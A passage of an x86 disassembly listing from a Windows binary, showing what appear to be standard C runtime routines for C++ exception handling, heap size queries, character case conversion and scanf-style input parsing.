mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, ds:dword_4694EC
mov [ebp+var_1C], ecx
mov ecx, ds:dword_4694F0
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov ds:dword_4694EC, edi
mov ecx, [ebp+arg_8]
mov ds:dword_4694F0, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_416129
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41A86F
mov eax, [ebp+var_2C]
loc_41A836: ; CODE XREF: sub_41A84F+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A7A9 endp
; =============== S U B R O U T I N E =======================================
sub_41A845 proc near ; DATA XREF: seg001:00421818o
push dword ptr [ebp-14h]
call sub_41A8B5
pop ecx
retn
sub_41A845 endp
; =============== S U B R O U T I N E =======================================
sub_41A84F proc near ; DATA XREF: seg001:0042181Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41638A
pop ecx
pop ecx
xor eax, eax
jmp short loc_41A836
sub_41A84F endp
; ---------------------------------------------------------------------------
loc_41A867: ; DATA XREF: seg001:00421810o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41A86F proc near ; CODE XREF: sub_41A7A9+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov ds:dword_4694EC, eax
mov eax, [ebp-20h]
mov ds:dword_4694F0, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41A8B4
cmp dword ptr [edi+10h], 3
jnz short locret_41A8B4
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41A8B4
cmp [ebp-24h], ebx
jnz short locret_41A8B4
cmp [ebp-2Ch], ebx
jz short locret_41A8B4
call sub_4163F2
push eax
push edi
call sub_41AAA3
pop ecx
pop ecx
locret_41A8B4: ; CODE XREF: sub_41A86F+1Cj
; sub_41A86F+22j ...
retn
sub_41A86F endp
; =============== S U B R O U T I N E =======================================
sub_41A8B5 proc near ; CODE XREF: sub_41A845+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A8DC
cmp dword ptr [eax+10h], 3
jnz short loc_41A8DC
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41A8DC
cmp dword ptr [eax+1Ch], 0
jnz short loc_41A8DC
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A8DC: ; CODE XREF: sub_41A8B5+Cj
; sub_41A8B5+12j ...
xor eax, eax
retn
sub_41A8B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8DF proc near ; CODE XREF: sub_41A72E+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421820
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41AA88
cmp byte ptr [eax+8], 0
jz loc_41AA88
mov eax, [ecx+8]
test eax, eax
jz loc_41AA88
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41A97C
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41DF46
pop ecx
pop ecx
test eax, eax
jz loc_41AA7F
push 1
push edi
call near ptr loc_41DF5D+5
pop ecx
pop ecx
test eax, eax
jz loc_41AA7F
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41A96D: ; CODE XREF: sub_41A8DF+F5j
push eax
call sub_41AB0A
pop ecx
pop ecx
mov [edi], eax
jmp loc_41AA84
; ---------------------------------------------------------------------------
loc_41A97C: ; CODE XREF: sub_41A8DF+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41A9D6
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41DF46
pop ecx
pop ecx
test eax, eax
jz loc_41AA7F
push 1
push edi
call near ptr loc_41DF5D+5
pop ecx
pop ecx
test eax, eax
jz loc_41AA7F
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_416470
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41AA84
mov eax, [edi]
test eax, eax
jz loc_41AA84
add esi, 8
push esi
jmp short loc_41A96D
; ---------------------------------------------------------------------------
loc_41A9D6: ; CODE XREF: sub_41A8DF+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41AA1E
call sub_41DF46
pop ecx
pop ecx
test eax, eax
jz loc_41AA7F
push 1
push edi
call near ptr loc_41DF5D+5
pop ecx
pop ecx
test eax, eax
jz short loc_41AA7F
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41AB0A
pop ecx
pop ecx
push eax
push edi
call sub_416470
add esp, 0Ch
jmp short loc_41AA84
; ---------------------------------------------------------------------------
loc_41AA1E: ; CODE XREF: sub_41A8DF+103j
call sub_41DF46
pop ecx
pop ecx
test eax, eax
jz short loc_41AA7F
push 1
push edi
call near ptr loc_41DF5D+5
pop ecx
pop ecx
test eax, eax
jz short loc_41AA7F
push dword ptr [esi+18h]
call sub_41DF7E
pop ecx
test eax, eax
jz short loc_41AA7F
test byte ptr [esi], 4
jz short loc_41AA65
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB0A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41609D
jmp short loc_41AA84
; ---------------------------------------------------------------------------
loc_41AA65: ; CODE XREF: sub_41A8DF+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB0A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_416096
jmp short loc_41AA84
; ---------------------------------------------------------------------------
loc_41AA7F: ; CODE XREF: sub_41A8DF+6Aj
; sub_41A8DF+7Cj ...
call sub_41ABD2
loc_41AA84: ; CODE XREF: sub_41A8DF+98j
; sub_41A8DF+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41AA88: ; CODE XREF: sub_41A8DF+2Ej
; sub_41A8DF+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A8DF endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB7C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AAA3 proc near ; CODE XREF: sub_41A3CE+170p
; sub_41A86F+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421830
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41AAEA
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41AAEA
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_416096
or [ebp+var_4], 0FFFFFFFFh
loc_41AAEA: ; CODE XREF: sub_41AAA3+2Aj
; sub_41AAA3+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41AAA3 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB7C
; =============== S U B R O U T I N E =======================================
sub_41AB0A proc near ; CODE XREF: sub_41A8DF+8Fp
; sub_41A8DF+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41AB2B
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41AB2B: ; CODE XREF: sub_41AB0A+12j
pop esi
retn
sub_41AB0A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB30 proc near ; CODE XREF: sub_416129+40p
; sub_41A67A+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_416415
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41AB6F
mov ecx, 2
loc_41AB6F: ; CODE XREF: sub_41AB30+38j
push ecx
call sub_416415
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41AB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB7C proc near ; CODE XREF: sub_41A3CE:loc_41A570j
; sub_41A718:loc_41A729j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041DF96 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421840
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:dword_4694F8
test eax, eax
jz short loc_41ABC4
mov [ebp+var_4], 1
call eax
jmp short loc_41ABC0
; ---------------------------------------------------------------------------
loc_41ABB9: ; DATA XREF: seg001:00421850o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41ABBD: ; DATA XREF: seg001:00421854o
mov esp, [ebp+var_18]
loc_41ABC0: ; CODE XREF: sub_41AB7C+3Bj
and [ebp+var_4], 0
loc_41ABC4: ; CODE XREF: sub_41AB7C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41ABCD: ; DATA XREF: seg001:00421848o
jmp loc_41DF96
sub_41AB7C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABD2 proc near ; CODE XREF: sub_4162CB+23p
; sub_4162CB:loc_416336p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421858
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:off_4380B4
test eax, eax
jz short loc_41AC1A
mov [ebp+var_4], 1
call eax ; sub_41AB7C
jmp short loc_41AC16
; ---------------------------------------------------------------------------
loc_41AC0F: ; DATA XREF: seg001:00421868o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41AC13: ; DATA XREF: seg001:0042186Co
mov esp, [ebp+var_18]
loc_41AC16: ; CODE XREF: sub_41ABD2+3Bj
and [ebp+var_4], 0
loc_41AC1A: ; CODE XREF: sub_41ABD2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41AC23: ; DATA XREF: seg001:00421860o
jmp sub_41AB7C
sub_41ABD2 endp
; =============== S U B R O U T I N E =======================================
sub_41AC28 proc near ; CODE XREF: sub_4167B3+7p
; sub_4167B3+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_418ADD
test eax, eax
pop ecx
jz short loc_41AC40
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_41AC40: ; CODE XREF: sub_41AC28+Ej
push esi
push 0
push ds:dword_46AAE0
call ds:dword_421188 ; RtlSizeHeap
pop esi
retn
sub_41AC28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC51 proc near ; CODE XREF: sub_416861+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_469508, 0
push ebx
jnz short loc_41AC7C
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41AD1A
cmp eax, 7Ah
jg loc_41AD1A
sub eax, 20h
jmp loc_41AD1A
; ---------------------------------------------------------------------------
loc_41AC7C: ; CODE XREF: sub_41AC51+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41ACAF
cmp ds:dword_437F5C, 1
jle short loc_41AC9C
push 2
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41ACA7
; ---------------------------------------------------------------------------
loc_41AC9C: ; CODE XREF: sub_41AC51+3Dj
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 2
loc_41ACA7: ; CODE XREF: sub_41AC51+49j
test eax, eax
jnz short loc_41ACAF
loc_41ACAB: ; CODE XREF: sub_41AC51+AFj
mov eax, ebx
jmp short loc_41AD1A
; ---------------------------------------------------------------------------
loc_41ACAF: ; CODE XREF: sub_41AC51+34j
; sub_41AC51+58j
mov edx, ds:off_437D50
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41ACD2
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41ACDB
; ---------------------------------------------------------------------------
loc_41ACD2: ; CODE XREF: sub_41AC51+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41ACDB: ; CODE XREF: sub_41AC51+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push ds:dword_469508
call loc_41BD51
add esp, 20h
test eax, eax
jz short loc_41ACAB
cmp eax, 1
jnz short loc_41AD0D
movzx eax, [ebp+var_4]
jmp short loc_41AD1A
; ---------------------------------------------------------------------------
loc_41AD0D: ; CODE XREF: sub_41AC51+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41AD1A: ; CODE XREF: sub_41AC51+14j
; sub_41AC51+1Dj ...
pop ebx
leave
retn
sub_41AC51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD1D proc near ; CODE XREF: sub_416A80+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41B723
mov edi, [ebp+arg_0]
jmp short loc_41AD4C
; ---------------------------------------------------------------------------
loc_41AD47: ; CODE XREF: sub_41AD1D+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41AD4C: ; CODE XREF: sub_41AD1D+28j
cmp ds:dword_437F5C, 1
jle short loc_41AD64
movzx eax, al
push 8
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_41AD73
; ---------------------------------------------------------------------------
loc_41AD64: ; CODE XREF: sub_41AD1D+36j
mov ecx, ds:off_437D50
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41AD73: ; CODE XREF: sub_41AD1D+45j
cmp eax, ebx
jz short loc_41ADAD
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41B7AA
pop ecx
pop ecx
push eax
call sub_41B793
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E075
add esp, 0Ch
loc_41AD9B: ; CODE XREF: sub_41AD1D+8Ej
test eax, eax
jz short loc_41ADAD
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E075
pop ecx
jmp short loc_41AD9B
; ---------------------------------------------------------------------------
loc_41ADAD: ; CODE XREF: sub_41AD1D+58j
; sub_41AD1D+80j
cmp byte ptr [esi], 25h
jnz loc_41B68F
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41ADE4: ; CODE XREF: sub_41AD1D+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp ds:dword_437F5C, 1
jle short loc_41AE01
movzx eax, bl
push 4
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_41AE10
; ---------------------------------------------------------------------------
loc_41AE01: ; CODE XREF: sub_41AD1D+D3j
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41AE10: ; CODE XREF: sub_41AD1D+E2j
test eax, eax
jz short loc_41AE26
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE26: ; CODE XREF: sub_41AD1D+F5j
cmp ebx, 4Eh
jg short loc_41AE69
jz short loc_41AE8B
cmp ebx, 2Ah
jz short loc_41AE64
cmp ebx, 46h
jz short loc_41AE8B
cmp ebx, 49h
jz short loc_41AE46
cmp ebx, 4Ch
jnz short loc_41AE78
inc [ebp+var_D]
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE46: ; CODE XREF: sub_41AD1D+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41AE78
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41AE78
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE64: ; CODE XREF: sub_41AD1D+113j
inc [ebp+var_E]
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE69: ; CODE XREF: sub_41AD1D+10Cj
cmp ebx, 68h
jz short loc_41AE85
cmp ebx, 6Ch
jz short loc_41AE7D
cmp ebx, 77h
jz short loc_41AE80
loc_41AE78: ; CODE XREF: sub_41AD1D+122j
; sub_41AD1D+12Dj ...
inc [ebp+var_F]
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE7D: ; CODE XREF: sub_41AD1D+154j
inc [ebp+var_D]
loc_41AE80: ; CODE XREF: sub_41AD1D+159j
inc [ebp+var_5]
jmp short loc_41AE8B
; ---------------------------------------------------------------------------
loc_41AE85: ; CODE XREF: sub_41AD1D+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41AE8B: ; CODE XREF: sub_41AD1D+107j
; sub_41AD1D+10Ej ...
cmp [ebp+var_F], 0
jz loc_41ADE4
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41AEB0
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41AEB0: ; CODE XREF: sub_41AD1D+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41AECE
mov al, [esi]
cmp al, 53h
jz short loc_41AECA
cmp al, 43h
jz short loc_41AECA
or [ebp+var_5], 0FFh
jmp short loc_41AECE
; ---------------------------------------------------------------------------
loc_41AECA: ; CODE XREF: sub_41AD1D+1A1j
; sub_41AD1D+1A5j
mov [ebp+var_5], 1
loc_41AECE: ; CODE XREF: sub_41AD1D+19Bj
; sub_41AD1D+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41AF07
cmp esi, 63h
jz short loc_41AEF8
cmp esi, 7Bh
jz short loc_41AEF8
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41B7AA
pop ecx
jmp short loc_41AF03
; ---------------------------------------------------------------------------
loc_41AEF8: ; CODE XREF: sub_41AD1D+1C5j
; sub_41AD1D+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B779
loc_41AF03: ; CODE XREF: sub_41AD1D+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41AF07: ; CODE XREF: sub_41AD1D+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41AF17
cmp [ebp+var_C], eax
jz loc_41B6F3
loc_41AF17: ; CODE XREF: sub_41AD1D+1EFj
cmp esi, 6Fh
jg loc_41B17E
jz loc_41B430
cmp esi, 63h
jz loc_41B15B
cmp esi, 64h
jz loc_41B430
jle loc_41B1A8
cmp esi, 67h
jle short loc_41AF7B
cmp esi, 69h
jz short loc_41AF63
cmp esi, 6Eh
jnz loc_41B1A8
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41B65E
jmp loc_41B684
; ---------------------------------------------------------------------------
loc_41AF63: ; CODE XREF: sub_41AD1D+229j
push 64h
pop esi
loc_41AF66: ; CODE XREF: sub_41AD1D+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41B1F0
mov [ebp+var_17], 1
jmp loc_41B1F5
; ---------------------------------------------------------------------------
loc_41AF7B: ; CODE XREF: sub_41AD1D+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41AF97
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41AF9C
; ---------------------------------------------------------------------------
loc_41AF97: ; CODE XREF: sub_41AD1D+26Aj
cmp ebx, 2Bh
jnz short loc_41AFB3
loc_41AF9C: ; CODE XREF: sub_41AD1D+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFB6
; ---------------------------------------------------------------------------
loc_41AFB3: ; CODE XREF: sub_41AD1D+27Dj
mov edi, [ebp+arg_0]
loc_41AFB6: ; CODE XREF: sub_41AD1D+294j
cmp [ebp+var_20], 0
jz short loc_41AFC5
cmp [ebp+var_C], 15Dh
jle short loc_41AFCC
loc_41AFC5: ; CODE XREF: sub_41AD1D+29Dj
mov [ebp+var_C], 15Dh
loc_41AFCC: ; CODE XREF: sub_41AD1D+2A6j
; sub_41AD1D+2F2j
cmp ds:dword_437F5C, 1
jle short loc_41AFE1
push 4
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41AFEC
; ---------------------------------------------------------------------------
loc_41AFE1: ; CODE XREF: sub_41AD1D+2B6j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 4
loc_41AFEC: ; CODE XREF: sub_41AD1D+2C2j
test eax, eax
jz short loc_41B011
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B011
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFCC
; ---------------------------------------------------------------------------
loc_41B011: ; CODE XREF: sub_41AD1D+2D1j
; sub_41AD1D+2DBj
cmp ds:byte_437F60, bl
jnz short loc_41B07F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B07F
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
mov al, ds:byte_437F60
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41B03A: ; CODE XREF: sub_41AD1D+360j
cmp ds:dword_437F5C, 1
jle short loc_41B04F
push 4
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B05A
; ---------------------------------------------------------------------------
loc_41B04F: ; CODE XREF: sub_41AD1D+324j
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 4
loc_41B05A: ; CODE XREF: sub_41AD1D+330j
test eax, eax
jz short loc_41B07F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B07F
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B03A
; ---------------------------------------------------------------------------
loc_41B07F: ; CODE XREF: sub_41AD1D+2FAj
; sub_41AD1D+304j ...
cmp [ebp+var_1C], 0
jz loc_41B117
cmp ebx, 65h
jz short loc_41B097
cmp ebx, 45h
jnz loc_41B117
loc_41B097: ; CODE XREF: sub_41AD1D+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B117
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41B0BE
mov [esi], al
inc esi
jmp short loc_41B0C3
; ---------------------------------------------------------------------------
loc_41B0BE: ; CODE XREF: sub_41AD1D+39Aj
cmp ebx, 2Bh
jnz short loc_41B0E1
loc_41B0C3: ; CODE XREF: sub_41AD1D+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41B0D2
and [ebp+var_C], eax
jmp short loc_41B0E1
; ---------------------------------------------------------------------------
loc_41B0D2: ; CODE XREF: sub_41AD1D+3AEj
; sub_41AD1D+3F8j
inc [ebp+var_4]
push edi
call sub_41B779
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B0E1: ; CODE XREF: sub_41AD1D+3A4j
; sub_41AD1D+3B3j
cmp ds:dword_437F5C, 1
jle short loc_41B0F6
push 4
push ebx
call sub_418536
pop ecx
pop ecx
jmp short loc_41B101
; ---------------------------------------------------------------------------
loc_41B0F6: ; CODE XREF: sub_41AD1D+3CBj
mov eax, ds:off_437D50
mov al, [eax+ebx*2]
and eax, 4
loc_41B101: ; CODE XREF: sub_41AD1D+3D7j
test eax, eax
jz short loc_41B117
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B117
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41B0D2
; ---------------------------------------------------------------------------
loc_41B117: ; CODE XREF: sub_41AD1D+366j
; sub_41AD1D+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41B793
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41B723
cmp [ebp+var_E], 0
jnz loc_41B684
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call ds:off_438090
add esp, 0Ch
jmp loc_41B684
; ---------------------------------------------------------------------------
loc_41B15B: ; CODE XREF: sub_41AD1D+20Cj
cmp [ebp+var_20], eax
jnz short loc_41B16A
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41B16A: ; CODE XREF: sub_41AD1D+441j
cmp [ebp+var_5], 0
jle short loc_41B174
mov [ebp+var_16], 1
loc_41B174: ; CODE XREF: sub_41AD1D+451j
mov edi, offset dword_4380C0
jmp loc_41B289
; ---------------------------------------------------------------------------
loc_41B17E: ; CODE XREF: sub_41AD1D+1FDj
mov eax, esi
sub eax, 70h
jz loc_41B42C
sub eax, 3
jz loc_41B27A
dec eax
dec eax
jz loc_41B430
sub eax, 3
jz loc_41AF66
sub eax, 3
jz short loc_41B1CC
loc_41B1A8: ; CODE XREF: sub_41AD1D+21Bj
; sub_41AD1D+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41B6F3
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41B684
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41B684
; ---------------------------------------------------------------------------
loc_41B1CC: ; CODE XREF: sub_41AD1D+489j
cmp [ebp+var_5], 0
jle short loc_41B1D6
